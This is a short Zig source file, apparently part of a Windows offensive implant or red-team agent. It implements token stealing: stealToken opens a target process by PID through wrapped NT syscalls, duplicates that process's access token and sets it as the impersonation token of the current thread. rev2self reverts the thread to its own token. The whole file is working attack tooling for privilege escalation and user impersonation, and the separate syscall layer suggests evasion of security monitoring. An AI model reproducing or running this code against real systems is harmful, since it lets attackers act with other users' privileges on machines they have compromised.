const std = @import("std");
const windows = std.os.windows;
const nt = @import("nt.zig");
const syscall = @import("syscall.zig");

const ThreadImpersonationToken: u32 = 5;

pub fn stealToken(pid: u32) bool {
    var cid = std.mem.zeroes(nt.CLIENT_ID);
    cid.UniqueProcess = @ptrFromInt(@as(usize, pid));
    var oa = std.mem.zeroes(nt.OBJECT_ATTRIBUTES);
    oa.Length = @sizeOf(nt.OBJECT_ATTRIBUTES);

    var proc_handle: windows.HANDLE = undefined;
    if (!nt.NT_SUCCESS(syscall.nt_open_process(&proc_handle, nt.PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid)))
        return false;
    defer _ = syscall.nt_close(proc_handle);

    var token_handle: windows.HANDLE = undefined;
    if (!nt.NT_SUCCESS(syscall.nt_open_process_token(
        proc_handle, nt.TOKEN_DUPLICATE | nt.TOKEN_QUERY | nt.TOKEN_IMPERSONATE, &token_handle,
    ))) return false;
    defer _ = syscall.nt_close(token_handle);

    var dup_token: windows.HANDLE = undefined;
    if (!nt.NT_SUCCESS(syscall.nt_duplicate_token(
        token_handle, nt.MAXIMUM_ALLOWED, null, nt.FALSE_BOOL(), @intFromEnum(nt.TOKEN_TYPE.TokenImpersonation), &dup_token,
    ))) return false;
    defer _ = syscall.nt_close(dup_token);

    return nt.NT_SUCCESS(syscall.nt_set_information_thread(
        syscall.nt_current_thread(),
        ThreadImpersonationToken,
        @ptrCast(&dup_token),
        @sizeOf(windows.HANDLE),
    ));
}

// Revert to process token by setting ThreadImpersonationToken to NULL.
pub fn rev2self() bool {
    return nt.NT_SUCCESS(syscall.nt_set_information_thread(
        syscall.nt_current_thread(),
        ThreadImpersonationToken,
        null,
        0,
    ));
}